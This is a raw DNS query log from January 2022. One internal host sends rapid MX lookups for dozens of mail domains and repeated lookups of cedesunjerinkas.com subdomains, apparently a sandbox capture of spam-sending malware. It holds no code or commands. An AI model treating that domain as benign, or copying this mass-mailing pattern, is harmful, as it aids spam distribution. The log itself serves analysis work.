Jan 7, 2022 15:55:55.885144949 CET	192.168.2.4	8.8.8.8	0x17cb	Standard query (0)	mta6.am0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:55.926779032 CET	192.168.2.4	8.8.8.8	0x571d	Standard query (0)	mta7.am0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:55.978785992 CET	192.168.2.4	8.8.8.8	0x8055	Standard query (0)	www4.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:57.020241022 CET	192.168.2.4	8.8.8.8	0x9b2a	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:57.040699005 CET	192.168.2.4	8.8.8.8	0x289d	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:57.090035915 CET	192.168.2.4	8.8.8.8	0xcf12	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:57.121206045 CET	192.168.2.4	8.8.8.8	0x474f	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:57.164607048 CET	192.168.2.4	8.8.8.8	0x81dd	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:57.209850073 CET	192.168.2.4	8.8.8.8	0xbee2	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:57.286797047 CET	192.168.2.4	8.8.8.8	0x7000	Standard query (0)	hotmail.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:55:57.308744907 CET	192.168.2.4	8.8.8.8	0xd72b	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:55:57.381923914 CET	192.168.2.4	8.8.8.8	0x8d75	Standard query (0)	www3.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:01.063128948 CET	192.168.2.4	8.8.8.8	0x4734	Standard query (0)	yandex.ru	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:01.088247061 CET	192.168.2.4	8.8.8.8	0x3a6e	Standard query (0)	mx.yandex.ru	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:01.252124071 CET	192.168.2.4	8.8.8.8	0xc8ba	Standard query (0)	tut.by	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:01.274230003 CET	192.168.2.4	8.8.8.8	0x5bd6	Standard query (0)	mx.yandex.ru	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:02.402266026 CET	192.168.2.4	8.8.8.8	0x670e	Standard query (0)	mail.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:02.421776056 CET	192.168.2.4	8.8.8.8	0x4817	Standard query (0)	mx01.mail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:02.443522930 CET	192.168.2.4	8.8.8.8	0x8f58	Standard query (0)	mx00.mail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:02.578610897 CET	192.168.2.4	8.8.8.8	0x1e9c	Standard query (0)	bigmir.net	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:02.602297068 CET	192.168.2.4	8.8.8.8	0x408	Standard query (0)	mx1.bigmir.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:02.624434948 CET	192.168.2.4	8.8.8.8	0xe191	Standard query (0)	mx3.bigmir.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:02.651077986 CET	192.168.2.4	8.8.8.8	0x3e16	Standard query (0)	mx10.bigmir.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:02.674774885 CET	192.168.2.4	8.8.8.8	0xccf2	Standard query (0)	mx12.bigmir.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:02.697468996 CET	192.168.2.4	8.8.8.8	0xcdd3	Standard query (0)	mx13.bigmir.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:03.509174109 CET	192.168.2.4	8.8.8.8	0xf554	Standard query (0)	inbox.lv	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:03.532761097 CET	192.168.2.4	8.8.8.8	0xab8a	Standard query (0)	mx2.inbox.lv	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:03.556027889 CET	192.168.2.4	8.8.8.8	0x6336	Standard query (0)	mx1.inbox.lv	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:03.686528921 CET	192.168.2.4	8.8.8.8	0xf2e3	Standard query (0)	a1plus.at	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:03.706037998 CET	192.168.2.4	8.8.8.8	0x56ec	Standard query (0)	smx01.a1.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.117396116 CET	192.168.2.4	8.8.8.8	0xada9	Standard query (0)	telering.at	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:04.136883020 CET	192.168.2.4	8.8.8.8	0x3dee	Standard query (0)	mx1c50.megamailservers.eu	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.191649914 CET	192.168.2.4	8.8.8.8	0x69d8	Standard query (0)	mx2c50.megamailservers.eu	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.238805056 CET	192.168.2.4	8.8.8.8	0x2ca6	Standard query (0)	mx3c50.megamailservers.eu	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.847424984 CET	192.168.2.4	8.8.8.8	0xafe6	Standard query (0)	yahoo.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:04.868220091 CET	192.168.2.4	8.8.8.8	0x9476	Standard query (0)	mta5.am0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.888449907 CET	192.168.2.4	8.8.8.8	0x4133	Standard query (0)	mta7.am0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:04.908188105 CET	192.168.2.4	8.8.8.8	0x9ae7	Standard query (0)	mta6.am0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:05.701724052 CET	192.168.2.4	8.8.8.8	0xa1ac	Standard query (0)	hotmail.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:05.722362041 CET	192.168.2.4	8.8.8.8	0x6ff9	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:06.307356119 CET	192.168.2.4	8.8.8.8	0xe236	Standard query (0)	a1plus.at	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:06.328965902 CET	192.168.2.4	8.8.8.8	0x4061	Standard query (0)	smx01.a1.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:07.767626047 CET	192.168.2.4	8.8.8.8	0xd2e	Standard query (0)	yandex.ru	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:07.788423061 CET	192.168.2.4	8.8.8.8	0x25d7	Standard query (0)	mx.yandex.ru	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:09.239671946 CET	192.168.2.4	8.8.8.8	0x3d92	Standard query (0)	tut.by	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:09.261277914 CET	192.168.2.4	8.8.8.8	0xc6a7	Standard query (0)	mx.yandex.ru	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:10.473917961 CET	192.168.2.4	8.8.8.8	0x9d3b	Standard query (0)	mail.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:10.494699001 CET	192.168.2.4	8.8.8.8	0x575f	Standard query (0)	mx01.mail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:10.514936924 CET	192.168.2.4	8.8.8.8	0x76ab	Standard query (0)	mx00.mail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:11.162825108 CET	192.168.2.4	8.8.8.8	0x7ff2	Standard query (0)	au.au-net.ne.jp	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:15.854176998 CET	192.168.2.4	8.8.8.8	0xb924	Standard query (0)	inbox.lv	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:15.875057936 CET	192.168.2.4	8.8.8.8	0xd59e	Standard query (0)	mx2.inbox.lv	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:15.895180941 CET	192.168.2.4	8.8.8.8	0x2766	Standard query (0)	mx1.inbox.lv	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.338819981 CET	192.168.2.4	8.8.8.8	0x9216	Standard query (0)	yahoo.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:16.365921021 CET	192.168.2.4	8.8.8.8	0x35b	Standard query (0)	mta5.am0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.411376953 CET	192.168.2.4	8.8.8.8	0x8cc4	Standard query (0)	mta6.am0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.425685883 CET	192.168.2.4	8.8.8.8	0xff1c	Standard query (0)	www4.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.435539007 CET	192.168.2.4	8.8.8.8	0x2ed3	Standard query (0)	mta7.am0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.580040932 CET	192.168.2.4	8.8.8.8	0x62d5	Standard query (0)	gmail.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:16.601514101 CET	192.168.2.4	8.8.8.8	0xac5c	Standard query (0)	alt1.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.610898018 CET	192.168.2.4	8.8.8.8	0xa4ee	Standard query (0)	a1plus.at	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:16.623872042 CET	192.168.2.4	8.8.8.8	0x8b5c	Standard query (0)	gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.634629965 CET	192.168.2.4	8.8.8.8	0xd5ea	Standard query (0)	smx01.a1.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.644088984 CET	192.168.2.4	8.8.8.8	0xe1e0	Standard query (0)	alt4.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.671837091 CET	192.168.2.4	8.8.8.8	0xa1e2	Standard query (0)	alt3.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.701786995 CET	192.168.2.4	8.8.8.8	0x62e4	Standard query (0)	alt2.gmail-smtp-in.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:16.968314886 CET	192.168.2.4	8.8.8.8	0x5320	Standard query (0)	telering.at	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:16.989423990 CET	192.168.2.4	8.8.8.8	0xbb89	Standard query (0)	mx2c50.megamailservers.eu	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:17.011162043 CET	192.168.2.4	8.8.8.8	0xfc61	Standard query (0)	mx1c50.megamailservers.eu	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:17.036143064 CET	192.168.2.4	8.8.8.8	0xd53d	Standard query (0)	mx3c50.megamailservers.eu	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:17.044202089 CET	192.168.2.4	8.8.8.8	0xf3e9	Standard query (0)	hotmail.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:17.067385912 CET	192.168.2.4	8.8.8.8	0xc094	Standard query (0)	hotmail-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:17.203097105 CET	192.168.2.4	8.8.8.8	0x8949	Standard query (0)	www3.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:17.356103897 CET	192.168.2.4	8.8.8.8	0xe7f2	Standard query (0)	yandex.ru	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:17.357058048 CET	192.168.2.4	8.8.8.8	0xbbe2	Standard query (0)	tut.by	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:17.377789021 CET	192.168.2.4	8.8.8.8	0xc585	Standard query (0)	mx.yandex.ru	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:17.521306992 CET	192.168.2.4	8.8.8.8	0xe821	Standard query (0)	a1plus.at	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:17.540914059 CET	192.168.2.4	8.8.8.8	0x89ff	Standard query (0)	smx01.a1.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:17.705239058 CET	192.168.2.4	8.8.8.8	0xa4cc	Standard query (0)	au.au-net.ne.jp	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:23.756962061 CET	192.168.2.4	8.8.8.8	0x1395	Standard query (0)	broofa.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:23.889741898 CET	192.168.2.4	8.8.8.8	0xb991	Standard query (0)	mx1.mailchannels.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:23.911736965 CET	192.168.2.4	8.8.8.8	0x6732	Standard query (0)	mx2.mailchannels.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:46.820949078 CET	192.168.2.4	8.8.8.8	0x163a	Standard query (0)	msn.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:46.844975948 CET	192.168.2.4	8.8.8.8	0xb4da	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.310728073 CET	192.168.2.4	8.8.8.8	0x50be	Standard query (0)	msn.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.310758114 CET	192.168.2.4	8.8.8.8	0x47aa	Standard query (0)	wxyz.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.311242104 CET	192.168.2.4	8.8.8.8	0xee6e	Standard query (0)	aol.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.311471939 CET	192.168.2.4	8.8.8.8	0x16fd	Standard query (0)	quatro.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.312258005 CET	192.168.2.4	8.8.8.8	0x73d2	Standard query (0)	animo.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.321005106 CET	192.168.2.4	8.8.8.8	0x68dd	Standard query (0)	pirajui.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.333010912 CET	192.168.2.4	8.8.8.8	0x8087	Standard query (0)	msn-com.olc.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.337009907 CET	192.168.2.4	8.8.8.8	0xa3ef	Standard query (0)	musical.com.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.337913036 CET	192.168.2.4	8.8.8.8	0x609f	Standard query (0)	contoso.com.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.339874029 CET	192.168.2.4	8.8.8.8	0x48f2	Standard query (0)	mx-aol.mail.gm0.yahoodns.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.341006041 CET	192.168.2.4	8.8.8.8	0xadfc	Standard query (0)	mxa-0028be01.gslb.pphosted.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.352276087 CET	192.168.2.4	8.8.8.8	0x9387	Standard query (0)	xyz.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.352973938 CET	192.168.2.4	8.8.8.8	0x6c69	Standard query (0)	xyz.com.br	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.368694067 CET	192.168.2.4	8.8.8.8	0xa78a	Standard query (0)	contoso.com.pt	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.379021883 CET	192.168.2.4	8.8.8.8	0x1edb	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.384243011 CET	192.168.2.4	8.8.8.8	0x463a	Standard query (0)	mx2.mailchannels.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.401016951 CET	192.168.2.4	8.8.8.8	0xb01a	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.405008078 CET	192.168.2.4	8.8.8.8	0xe3ff	Standard query (0)	mx1.mailchannels.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.413707018 CET	192.168.2.4	8.8.8.8	0xf615	Standard query (0)	x.com.pt	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.420164108 CET	192.168.2.4	8.8.8.8	0x8761	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.441940069 CET	192.168.2.4	8.8.8.8	0xf46c	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.446185112 CET	192.168.2.4	8.8.8.8	0x63c4	Standard query (0)	contoso.com.pt	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.463468075 CET	192.168.2.4	8.8.8.8	0x1303	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.464394093 CET	192.168.2.4	8.8.8.8	0x8543	Standard query (0)	mxb-0028be01.gslb.pphosted.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.475316048 CET	192.168.2.4	8.8.8.8	0xb225	Standard query (0)	contoso.com.pt	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.507657051 CET	192.168.2.4	8.8.8.8	0xa710	Standard query (0)	kywx.com.pt	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.539098024 CET	192.168.2.4	8.8.8.8	0xdc68	Standard query (0)	aaw.pl	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.572715044 CET	192.168.2.4	8.8.8.8	0xf57b	Standard query (0)	griepp.pl	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.601564884 CET	192.168.2.4	8.8.8.8	0x63a6	Standard query (0)	oopp.pl	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.625020027 CET	192.168.2.4	8.8.8.8	0x9b2a	Standard query (0)	oopp.pl	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:47.913568974 CET	192.168.2.4	8.8.8.8	0xef7b	Standard query (0)	wewew.pl	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.944941998 CET	192.168.2.4	8.8.8.8	0x6309	Standard query (0)	riekk.pl	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:47.976890087 CET	192.168.2.4	8.8.8.8	0x5d4e	Standard query (0)	fafa.pk	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:48.008734941 CET	192.168.2.4	8.8.8.8	0x9a0e	Standard query (0)	xara.pl	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:48.023279905 CET	192.168.2.4	8.8.8.8	0x3099	Standard query (0)	lufka.zx	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:48.038343906 CET	192.168.2.4	8.8.8.8	0x6e9b	Standard query (0)	fanfary.pq	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:48.054749012 CET	192.168.2.4	8.8.8.8	0x5497	Standard query (0)	fajrant.qz	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:48.073076963 CET	192.168.2.4	8.8.8.8	0xd703	Standard query (0)	contoso.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:48.088998079 CET	192.168.2.4	8.8.8.8	0x6328	Standard query (0)	fabrikam.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:48.101388931 CET	192.168.2.4	8.8.8.8	0xad44	Standard query (0)	contoso-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:48.123913050 CET	192.168.2.4	8.8.8.8	0xeb43	Standard query (0)	mail.fabrikam.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:48.492348909 CET	192.168.2.4	8.8.8.8	0xa060	Standard query (0)	adatum.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:48.524425030 CET	192.168.2.4	8.8.8.8	0x5f17	Standard query (0)	mail.adatum.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:48.712140083 CET	192.168.2.4	8.8.8.8	0x7aef	Standard query (0)	contoso.es	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:48.733616114 CET	192.168.2.4	8.8.8.8	0x420d	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:48.756576061 CET	192.168.2.4	8.8.8.8	0x281f	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:48.776932001 CET	192.168.2.4	8.8.8.8	0xb2f0	Standard query (0)	aspmx5.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:48.806724072 CET	192.168.2.4	8.8.8.8	0x791a	Standard query (0)	aspmx4.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:48.836522102 CET	192.168.2.4	8.8.8.8	0x8fd6	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:48.869919062 CET	192.168.2.4	8.8.8.8	0xc8e4	Standard query (0)	contoso.mx	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:50.132973909 CET	192.168.2.4	8.8.8.8	0x8f26	Standard query (0)	proseware.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:50.180879116 CET	192.168.2.4	8.8.8.8	0xc961	Standard query (0)	proseware.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:51.429416895 CET	192.168.2.4	8.8.8.8	0xac94	Standard query (0)	contoso.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:51.450124979 CET	192.168.2.4	8.8.8.8	0xe49	Standard query (0)	contoso-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:52.214639902 CET	192.168.2.4	8.8.8.8	0xd0e0	Standard query (0)	litwareinc.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:52.234117985 CET	192.168.2.4	8.8.8.8	0x8059	Standard query (0)	smtp.litwareinc.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:56:52.960897923 CET	192.168.2.4	8.8.8.8	0x4b8b	Standard query (0)	contoso.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:56:52.984880924 CET	192.168.2.4	8.8.8.8	0x8348	Standard query (0)	contoso-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:03.870516062 CET	192.168.2.4	8.8.8.8	0xb6b2	Standard query (0)	www2.cedesunjerinkas.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:09.213083982 CET	192.168.2.4	8.8.8.8	0x7fd7	Standard query (0)	fabrikam.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:09.238614082 CET	192.168.2.4	8.8.8.8	0x953b	Standard query (0)	mail.fabrikam.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:09.273929119 CET	192.168.2.4	8.8.8.8	0x8434	Standard query (0)	contoso.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:09.296901941 CET	192.168.2.4	8.8.8.8	0x6cb7	Standard query (0)	contoso-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:09.869786978 CET	192.168.2.4	8.8.8.8	0xc643	Standard query (0)	adatum.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:09.908560991 CET	192.168.2.4	8.8.8.8	0xe8f5	Standard query (0)	mail.adatum.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:10.025149107 CET	192.168.2.4	8.8.8.8	0xbc0d	Standard query (0)	cohowinery.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:10.059015989 CET	192.168.2.4	8.8.8.8	0xbab3	Standard query (0)	negdje.hr	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:10.090013027 CET	192.168.2.4	8.8.8.8	0x97b7	Standard query (0)	abcdef.hr	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:10.104309082 CET	192.168.2.4	8.8.8.8	0x22e6	Standard query (0)	vlada.hr	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:10.118366003 CET	192.168.2.4	8.8.8.8	0x426a	Standard query (0)	netko.hr	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:10.129638910 CET	192.168.2.4	8.8.8.8	0x29f5	Standard query (0)	ma-01.vlada.hr	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:10.154221058 CET	192.168.2.4	8.8.8.8	0x5a53	Standard query (0)	tvrtka.hr	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:10.165033102 CET	192.168.2.4	8.8.8.8	0xcab0	Standard query (0)	ma-02.vlada.hr	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:10.189646006 CET	192.168.2.4	8.8.8.8	0x629f	Standard query (0)	mail.vlada.hr	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:10.198123932 CET	192.168.2.4	8.8.8.8	0x8a0e	Standard query (0)	dva.hr	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:10.266904116 CET	192.168.2.4	8.8.8.8	0x461a	Standard query (0)	mail.dva.hr	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:10.401813030 CET	192.168.2.4	8.8.8.8	0xe3bd	Standard query (0)	arb.cz	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:10.446548939 CET	192.168.2.4	8.8.8.8	0x76d	Standard query (0)	antispam.hosting-zdarma.cz	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:10.556235075 CET	192.168.2.4	8.8.8.8	0xcf13	Standard query (0)	abcdefg.cz	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:10.588782072 CET	192.168.2.4	8.8.8.8	0xb7d1	Standard query (0)	ektro.cz	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:10.618377924 CET	192.168.2.4	8.8.8.8	0x8180	Standard query (0)	fb.cz	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:10.656481981 CET	192.168.2.4	8.8.8.8	0x25d8	Standard query (0)	aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:10.689995050 CET	192.168.2.4	8.8.8.8	0x8f4c	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:10.734080076 CET	192.168.2.4	8.8.8.8	0xdcaa	Standard query (0)	aspmx3.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:10.757040024 CET	192.168.2.4	8.8.8.8	0x86c8	Standard query (0)	alt1.aspmx.l.google.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:10.793071985 CET	192.168.2.4	8.8.8.8	0x9fee	Standard query (0)	aspmx2.googlemail.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:11.369307041 CET	192.168.2.4	8.8.8.8	0x6f8	Standard query (0)	tek-astore.cz	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:11.403083086 CET	192.168.2.4	8.8.8.8	0x389b	Standard query (0)	somemail.ro	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:11.432809114 CET	192.168.2.4	8.8.8.8	0x37ec	Standard query (0)	abc.org	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:11.458612919 CET	192.168.2.4	8.8.8.8	0xee63	Standard query (0)	cluster10.us.messagelabs.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:11.486756086 CET	192.168.2.4	8.8.8.8	0x566	Standard query (0)	cluster10a.us.messagelabs.com	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:12.509987116 CET	192.168.2.4	8.8.8.8	0x271f	Standard query (0)	emaiserver.ro	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:12.543245077 CET	192.168.2.4	8.8.8.8	0x1f20	Standard query (0)	oricine.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:12.589565039 CET	192.168.2.4	8.8.8.8	0x8806	Standard query (0)	worldwideoffices.ro	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:12.619282961 CET	192.168.2.4	8.8.8.8	0xf23c	Standard query (0)	cineva.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:12.647243023 CET	192.168.2.4	8.8.8.8	0x6348	Standard query (0)	mail.h-email.net	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:13.556761980 CET	192.168.2.4	8.8.8.8	0x9ee9	Standard query (0)	orice.com	MX (Mail exchange)	IN (0x0001)
Jan 7, 2022 15:57:13.589258909 CET	192.168.2.4	8.8.8.8	0x1540	Standard query (0)	mxbck.leonet.it	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:13.634352922 CET	192.168.2.4	8.8.8.8	0xfe9a	Standard query (0)	mx.leonet.it	A (IP address)	IN (0x0001)
Jan 7, 2022 15:57:13.884871006 CET	192.168.2.4	8.8.8.8	0x2097	Standard query (0)	orice.ro	MX (Mail exchange)	IN (0x0001)
